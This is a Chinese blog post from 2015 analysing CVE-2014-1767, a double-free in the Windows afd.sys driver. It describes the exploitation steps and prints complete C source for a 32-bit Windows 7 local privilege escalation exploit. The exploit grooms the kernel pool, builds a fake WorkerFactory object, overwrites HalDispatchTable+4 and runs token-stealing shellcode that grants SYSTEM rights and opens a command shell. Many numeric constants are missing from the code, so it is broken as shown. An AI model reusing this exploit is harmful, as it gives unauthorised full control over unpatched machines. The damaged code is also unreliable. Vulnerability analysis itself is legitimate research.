CVE-2014-1767 利用分析(2015.2)
CVE-2014-1767利用分析
参考这篇文章利用思路,重现利用,主要说明自己在实现的时候遇到的坑。
利用思路
1. 第一次 IoControl,释放 MDL,我们通过 VirtualAddress 和 Length 设置此时被释放 的 MDL 内存大小为 0xA0。
2. NtCreateWorkerFactory 申请新的 WorkerFactoy 对象,占据【1】中被释放掉的内 存。
3. 第二次 IoControl,double free会释放掉刚刚申请的 WorkerFactoy 对象。
4. NtQueryEaFile 把我们精心设置的内容,填充到刚被释放掉的 WorkerFactory 对象内存空间(UAF)。
5. NtSetInformationWorkerFactory 操作我们的 fake object,达到修改 HalDispatchTable+4 内容为 shellcode(功能是使用系统token覆盖当前进行token)。
6. 用户层调用 NtQueryIntervalProfile,触发内核执行 shellcode。
7. 当前进行已经是管理员权限了,创建的子进程也具有相同的权限,提权完成。
一些坑和解释
1. 将初始化的操作都放在第一次IoControl之前,使【1】和【2】的时间间隔最小,这样占位成功的机会最大,但仍有占位不成功的时候,原因未知。
2. 所构造的fake WorkerFactory object 数据如下:
object header和object body是需要我们来布置的。
object header来自一个创建的object的部分。
object body部分其实就两个位置+00h和+10h,为了最后NtSetInformationWorkerFactory函数中的这条语句:*(*(*object+0x10)+0x1C) = *arg3,使左边的语句为HalDispatchTable+4。
其他置于0就可以了。
3. 分配的内存数据:
4. NtQueryEaFile的参数EaListLength必须为0x98,因为这样才可以保证【4】的正常执行。
5. NtSetInformationWorkerFactory函数的每一个参数都非常重要,不可以设置为其他的值,这都是跟踪得到能够到达目标代码的参数结果。6. NtQueryIntervalProfile的第一个参数也十分重要,等于2的时候才会走向调用HalDispatchTable+4的流程中去。
7.Shellcode中,提权结束后会做一些善后处理,将hWorkerFactory在HandleTableEntry的入口设置为NULL,不然提权进程结束后会蓝屏。因为我们已经破坏掉hWorkerFactory所对应的内核结构了,系统会对其进行清理操作的时候就会出问题。
遗留问题:HalDispatchTable+4的恢复问题,暂时不知道怎么读取其对应函数的地址。不过这个函数调用不是特别频繁,还是可以清楚的看到结果。
exp代码如下:
- //CVE-2014-1767 exp for win7 32bit
- //by 会飞的猫 2015.2.4
- //complied with VS2013
- #include <windows.h>
- #include <stdio.h>
- #pragma comment(lib, "WS2_32.lib")
- #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
- typedef LPVOID PEPROCESS;
- typedef NTSTATUS(__stdcall *_NtCreateWorkerFactory)(PHANDLE, ACCESS_MASK, PVOID, HANDLE, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T);
- typedef NTSTATUS(__stdcall *_NtQueryEaFile)(HANDLE, PVOID, PVOID, ULONG, BOOLEAN, PVOID, ULONG, PULONG, BOOLEAN);
- typedef NTSTATUS(__stdcall *_ZwAllocateVirtualMemory)(HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG);
- typedef NTSTATUS(__stdcall *_NtQuerySystemInformation)(ULONG, PVOID, ULONG, PULONG);
- typedef NTSTATUS(__stdcall *_NtSetInformationWorkerFactory)(HANDLE, ULONG, PVOID, ULONG);
- typedef NTSTATUS(__stdcall *_NtQueryIntervalProfile)(DWORD,PULONG);
- typedef NTSTATUS(__stdcall *_PsLookupProcessByProcessId)(DWORD, LPVOID *);
- typedef NTSTATUS(__stdcall *_NtQueryInformationWorkerFactory)(HANDLE, LONG, PVOID, ULONG, PULONG);
- typedef struct _IO_STATUS_BLOCK {
- union {
- NTSTATUS Status;
- PVOID Pointer;
- };
- ULONG_PTR Information;
- } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
- typedef struct _RTL_PROCESS_MODULE_INFORMATION {
- HANDLE Section; // Not filled in
- PVOID MappedBase;
- PVOID ImageBase;
- ULONG ImageSize;
- ULONG Flags;
- USHORT LoadOrderIndex;
- USHORT InitOrderIndex;
- USHORT LoadCount;
- USHORT OffsetToFileName;
- UCHAR FullPathName[];
- } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
- typedef struct _RTL_PROCESS_MODULES {
- ULONG NumberOfModules;
- RTL_PROCESS_MODULE_INFORMATION Modules[];
- } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
- _NtCreateWorkerFactory NtCreateWorkerFactory;
- _NtQueryEaFile NtQueryEaFile;
- _ZwAllocateVirtualMemory ZwAllocateVirtualMemory;
- _NtQuerySystemInformation NtQuerySystemInformation;
- _NtSetInformationWorkerFactory NtSetInformationWorkerFactory;
- _NtQueryIntervalProfile NtQueryIntervalProfile;
- _PsLookupProcessByProcessId PsLookupProcessByProcessId;
- _NtQueryInformationWorkerFactory NtQueryInformationWorkerFactory;
- HANDLE hWorkerFactory;
- LPVOID AllocAddr = (LPVOID)0x20000000;
- ULONG uHalDispatchTable = ;
- HMODULE ntoskrnl;
- ULONG ntoskrnlBase;
- PVOID pHaliQuerySystemInformation=NULL;
- int GetNtdllFuncAddr()
- {
- HMODULE ntdll = GetModuleHandle("ntdll.dll");
- NtCreateWorkerFactory = (_NtCreateWorkerFactory)(GetProcAddress(ntdll, "NtCreateWorkerFactory"));
- if (NtCreateWorkerFactory == NULL)
- {
- printf("Get NtCreateWorkerFactory Address Error:%d", GetLastError());
- CloseHandle(ntdll);
- return -;
- }
- //NtQueryEaFile
- NtQueryEaFile = (_NtQueryEaFile)GetProcAddress(ntdll, "NtQueryEaFile");
- if (NtQueryEaFile == NULL)
- {
- printf("Get NtQueryEaFile Address Error:%d", GetLastError());
- return -;
- }
- //ZwAllocateVirtualMemory
- ZwAllocateVirtualMemory = (_ZwAllocateVirtualMemory)GetProcAddress(ntdll, "ZwAllocateVirtualMemory");
- //NtQuerySystemInformation
- NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
- if (NtQuerySystemInformation == NULL)
- {
- printf("Get NtQuerySystemInformation Address Error:%d", GetLastError());
- return -;
- }
- //NtSetInformationWorkerFactory
- NtSetInformationWorkerFactory = (_NtSetInformationWorkerFactory)(GetProcAddress(ntdll, "NtSetInformationWorkerFactory"));
- if (NtSetInformationWorkerFactory == NULL)
- {
- printf("Get NtSetInformationWorkerFactory Address Error:%d", GetLastError());
- return -;
- }
- //_NtQueryIntervalProfile
- NtQueryIntervalProfile = (_NtQueryIntervalProfile)(GetProcAddress(ntdll, "NtQueryIntervalProfile"));
- if (NtQueryIntervalProfile == NULL)
- {
- printf("Get NtQueryIntervalProfile Address Error:%d", GetLastError());
- return -;
- }
- //get uHalDispatchTable
- RTL_PROCESS_MODULES module;
- memset(&module, , sizeof(RTL_PROCESS_MODULES));
- NTSTATUS status = NtQuerySystemInformation(, &module, sizeof(RTL_PROCESS_MODULES), NULL);
- if (status != 0xC0000004) //STATUS_INFO_LENGTH_MISMATCH
- {
- printf("Get module Address Error:%d", GetLastError());
- return -;
- }
- ntoskrnlBase = (ULONG)module.Modules[].ImageBase;
- ntoskrnl = LoadLibrary((LPCSTR)(module.Modules[].FullPathName + module.Modules[].OffsetToFileName));
- if (ntoskrnl == NULL)
- {
- printf("LoadLibrary ntoskrnl.exe fail!\n");
- return -;
- }
- uHalDispatchTable = (ULONG)GetProcAddress(ntoskrnl, "HalDispatchTable") - (ULONG)ntoskrnl + ntoskrnlBase;
- if (uHalDispatchTable == )
- {
- printf("Get HalDispatchTable Error:%d\n", GetLastError());
- return -;
- }
- //printf("HalDispatchTable Address:0x%x!\n", uHalDispatchTable);
- //PsLookupProcessByProcessId
- PsLookupProcessByProcessId = (_PsLookupProcessByProcessId)((ULONG)GetProcAddress(ntoskrnl, "PsLookupProcessByProcessId") - (ULONG)ntoskrnl + ntoskrnlBase);
- if (PsLookupProcessByProcessId == NULL)
- {
- printf("Get PsLookupProcessByProcessId Address Error:%d", GetLastError());
- return -;
- }
- CloseHandle(ntdll);
- return ;
- }
- /*int CreateWorkerFactory()
- {
- HANDLE hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 1337, 4);
- DWORD Exploit;
- NTSTATUS status = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, &Exploit, NULL, 0, 0, 0);
- if (!NT_SUCCESS(status))
- {
- printf("NtCreateWorkerFactory fail!Error:%d\n", GetLastError());
- return -1;
- }
- return 0;
- }*/
- int MyNtQueryEaFile()
- {
- NTSTATUS status;
- IO_STATUS_BLOCK StatusBlock;
- status = NtQueryEaFile(NULL, (PIO_STATUS_BLOCK)&StatusBlock, NULL, NULL, FALSE, AllocAddr, 0x98, NULL, TRUE);
- return ;
- }
- //shellcode代码
- void shellcode()
- {
- PEPROCESS pCur, pSys;
- DWORD dwSystemProcessId = ;
- DWORD dwCurProcessId = GetCurrentProcessId();
- PsLookupProcessByProcessId(dwCurProcessId, &pCur);
- PsLookupProcessByProcessId(dwSystemProcessId, &pSys);
- //replace current process`s token with system token
- *(PVOID *)((DWORD)pCur + 0xf8) = *(PVOID *)((DWORD)pSys + 0xf8);
- //set our handle`s HandleTableEntry with NULL to avoid bugcheck
- PULONG ObjectTable = *(PULONG *)((ULONG)pCur + 0x0f4);
- PULONG HandleTableEntry = (PULONG)(*(ULONG*)(ObjectTable)+ * ((ULONG)hWorkerFactory & 0xFFFFFFFC));
- *HandleTableEntry = NULL;
- //dec handle reference by 1
- *(ObjectTable + 0x30) -= ;
- //restore HalDispatchTable+4 to avoid bugcheck
- //*(DWORD*)(uHalDispatchTable + 4) = (DWORD)pHaliQuerySystemInformation;
- }
- int MyNtSetInformationWorkerFactory()
- {
- DWORD* tem = (DWORD*)malloc(0x20);
- memset(tem, 'A', 0x20);
- tem[] = (DWORD)shellcode;
- NTSTATUS status = NtSetInformationWorkerFactory(hWorkerFactory, 0x8, tem, 0x4);
- return ;
- }
- void CreatNewCmd()
- {
- STARTUPINFO StartupInfo;
- PROCESS_INFORMATION ProcessInfo;
- memset(&StartupInfo, , sizeof(StartupInfo));
- memset(&ProcessInfo, , sizeof(ProcessInfo));
- StartupInfo.cb = sizeof(STARTUPINFO);
- StartupInfo.wShowWindow = ;
- StartupInfo.dwFlags = ;
- CreateProcess(, "cmd", , , , CREATE_NEW_CONSOLE, , , &StartupInfo, &ProcessInfo);
- WaitForSingleObject(ProcessInfo.hProcess, );
- CloseHandle(ProcessInfo.hProcess);
- CloseHandle(ProcessInfo.hThread);
- }
- void GetHaliQuerySystemInformation()
- {
- static BYTE kernelRetMem[0x60];
- memset(kernelRetMem, , sizeof(kernelRetMem));
- NtQueryInformationWorkerFactory(hWorkerFactory,
- ,
- kernelRetMem,
- 0x60,
- NULL);
- pHaliQuerySystemInformation = *(PVOID *)(kernelRetMem + 0x50);
- printf("uHaliQuerySystemInformation: %p\n", pHaliQuerySystemInformation);
- return;
- }
- int main()
- {
- printf("----------------------------------------\n");
- printf("****CVE-2014-1767 exp for win7 32bit****\n");
- printf("****by flycat 2015.2.4****\n");
- printf("----------------------------------------\n");
- printf("\n\n\n\n");
- DWORD targetSize = 0xA0;
- DWORD virtualAddress = 0x13371337;
- DWORD Length = ((targetSize - 0x1C) / - (virtualAddress % ? : )) * 0x1000;
- static DWORD inbuf1[];
- memset(inbuf1, , sizeof(inbuf1));
- inbuf1[] = virtualAddress;
- inbuf1[] = Length;
- static DWORD inbuf2[];
- memset(inbuf2, , sizeof(inbuf2));
- inbuf2[] = ;
- inbuf2[] = 0x0AAAAAAA;
- WSADATA WSAData;
- SOCKET s;
- sockaddr_in sa;
- int ier;
- WSAStartup(0x2, &WSAData);
- s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- memset(&sa, , sizeof(sa));
- sa.sin_port = htons();
- sa.sin_addr.S_un.S_addr = inet_addr("127.0.1");
- sa.sin_family = AF_INET;
- ier = connect(s, (const struct sockaddr *)&sa, sizeof(sa));
- static char outBuf[];
- DWORD bytesRet;
- int nRet = ;
- //get some kernel function addresses
- nRet = GetNtdllFuncAddr();
- if (nRet != )
- {
- return -;
- }
- //allocate memory and set some data
- DWORD uRegionSize = 0x200;
- NTSTATUS status = ZwAllocateVirtualMemory(GetCurrentProcess(),
- &AllocAddr, , &uRegionSize,
- MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN,
- PAGE_EXECUTE_READWRITE);
- if (!NT_SUCCESS(status))
- {
- printf("Allocate Mem Failed :%d\n", GetLastError());
- return -;
- }
- memset(AllocAddr, , 0x200);
- __asm
- {
- pushad
- mov eax, AllocAddr
- mov dword ptr[eax + ], 0xa8
- mov dword ptr[eax + 10h],
- mov dword ptr[eax + 14h],
- mov dword ptr[eax + 1ch], 80016h
- mov dword ptr[eax + 28h], 20000028h
- mov ebx, uHalDispatchTable
- sub ebx, 18h
- mov dword ptr[eax + 38h], ebx
- popad
- }
- //wait 2 second
- ::Sleep();
- //first IoControl
- DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x30, outBuf, , &bytesRet, NULL);
- //Create a Workerfactory object to occupy the free Mdl pool
- HANDLE hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, , );
- DWORD Exploit;
- status = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-, &Exploit, NULL, , , );
- if (!NT_SUCCESS(status))
- {
- printf("NtCreateWorkerFactory fail!Error:%d\n", GetLastError());
- return -;
- }
- //try to read HaliQuerySystemInformation address but failed
- //GetHaliQuerySystemInformation();
- //second IoControl
- //free the Workerfactory object we create just now
- DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, outBuf, , &bytesRet, NULL);
- //NtQueryEaFile will allocate a pool with the same size of Workerfactory object,and
- //memcpy our data to the Workerfactory object,mainly change Workerfactory object+0x10 to
- //HalDispatchTable+4
- MyNtQueryEaFile();
- //change HalDispatchTable+4 to our shellcode address
- MyNtSetInformationWorkerFactory();
- //Trigger from user mode
- ULONG temp = ;
- status = NtQueryIntervalProfile(, &temp);
- if (!NT_SUCCESS(status))
- {
- printf("NtQueryIntervalProfile fail!Error:%d\n", GetLastError());
- return -;
- }
- printf("done!\n");
- //Sleep(000);
- //Create a new cmd process with current token
- printf("Creating a new cmd...\n");
- CreatNewCmd();
- return ;
- }
by:会飞的猫
转载请注明:http://www.cnblogs.com/flycat-2016
CVE-2014-1767 利用分析(2015.2)的更多相关文章
- CVE-2015-0057 POC构造 & 利用分析(2015.7)
CVE-2015-0057 POC构造 & 利用分析 主要内容: 构造POC 利用思路 0x00 初探 从这篇文章可以获知: 1.问题出在 win32k!xxxEnableWndSBArrow ...
- Java反序列化漏洞通用利用分析
原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...
- CVE-2013-2551漏洞成因与利用分析(ISCC2014 PWN6)
CVE-2013-2551漏洞成因与利用分析 1. 简介 VUPEN在Pwn2Own2013上利用此漏洞攻破了Win8+IE10,5月22日VUPEN在其博客上公布了漏洞的细节.它是一个ORG数组整数 ...
- Lib之过?Java反序列化漏洞通用利用分析
转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...
- CVE-2015-3864漏洞利用分析(exploit_from_google)
title: CVE-2015-3864漏洞利用分析(exploit_from_google) author: hac425 tags: CVE-2015-3864 文件格式漏洞 categories ...
- CVE-2014-0322漏洞成因与利用分析
CVE-2014-0322漏洞成因与利用分析 1. 简介 此漏洞是UAF(Use After Free)类漏洞,即引用了已经释放的内存,对指定内存处的值进行了加1.其特点在于攻击者结合flash实现了 ...
- CVE-2013-3897漏洞成因与利用分析
CVE-2013-3897漏洞成因与利用分析 1. 简介 此漏洞是UAF(Use After Free)类漏洞,即引用了已经释放的内存.攻击者可以利用此类漏洞实现远程代码执行.UAF漏洞的根源源于对对 ...
- CVE-2014-1767 漏洞分析(2015.1)
CVE-2014-1767 漏洞分析 1. 简介 该漏洞是由于Windows的afd.sys驱动在对系统内存的管理操作中,存在着悬垂指针的问题.在特定情况下攻击者可以通过该悬垂指针造成内存的doubl ...
- MyEclipse 2014 GA 和 MyEclipse 2015 CI 和 Eclipse Luna 最新最全下载地址
官方下载地址: Eclipse 标准版 x86 http://mirror.hust.edu.cn/eclipse//technology/epp/downloads/release/luna/R/e ...
随机推荐
- 提高Java代码质量的Eclipse插件之Checkstyle的使用详解
提高Java代码质量的Eclipse插件之Checkstyle的使用详解 CheckStyle是SourceForge下的一个项目,提供了一个帮助JAVA开发人员遵守某些编码规范的工具.它能够自动化代 ...
- mybatis逆向工程生成代码
1 什么是逆向工程 mybaits需要程序员自己编写sql语句,mybatis官方提供逆向工程 可以针对单表自动生成mybatis执行所需要的代码(mapper.java,mapper.xml.po. ...
- linux 消息队列例子
/author:DriverMonkey //phone:13410905075 //mail:bookworepeng@Hotmail.com //qq:196568501 #include < ...
- [置顶] 让我爱恨的ThinkPHP Relation
还记得第一次用ThinkPHP的relation,做了一个关联查询,觉得特别好用.有那么一天尝试着用关联插入,怎么插,都插不进,我插,我擦! 后来在龙哥的指点下算是成功的实践了一次,后来怎么用都不顺, ...
- android:minSdkVersion 之我见
在 新建一个 android project 时,要求输入 minSdkVersion 这一项,一般我们是指定和我们使用的 SDK 版本相一致的 API Level. 然后,在androidManif ...
- 利用GeneratedKeyHolder获得新增数据主键值
Spring利用GeneratedKeyHolder,提供了一个可以返回新增记录所对应的主键值的方法: int update(PreparedStatementCreator psc, KeyHold ...
- ASP.NET Zero--11.一个例子(4)商品分类管理-数据检验
虽然已经可以添加商品分类,但还需进行优化,比如:用户是否输入.输入字符串是否有格式限制等等. 打开添加分类按钮,名称不输入任何字符,直接保存,会发现列表添加一条空记录.在实际项目中,这是不允许出现的事 ...
- 捕获input 文本框内容改变的事件(onchange,onblur,onPropertyChange比较)
input 文本框内容改变,可以使用onchange或者onblur来判断,但onchange是在文本内容改变,然后失去焦点的时发生,onblur是在失去焦点时发生,不会自己去判断. 如: <i ...
- hdu1037
#include <iostream> #include <cstdio> using namespace std; int main() { int a,b,c; while ...
- 第11章:DOM扩展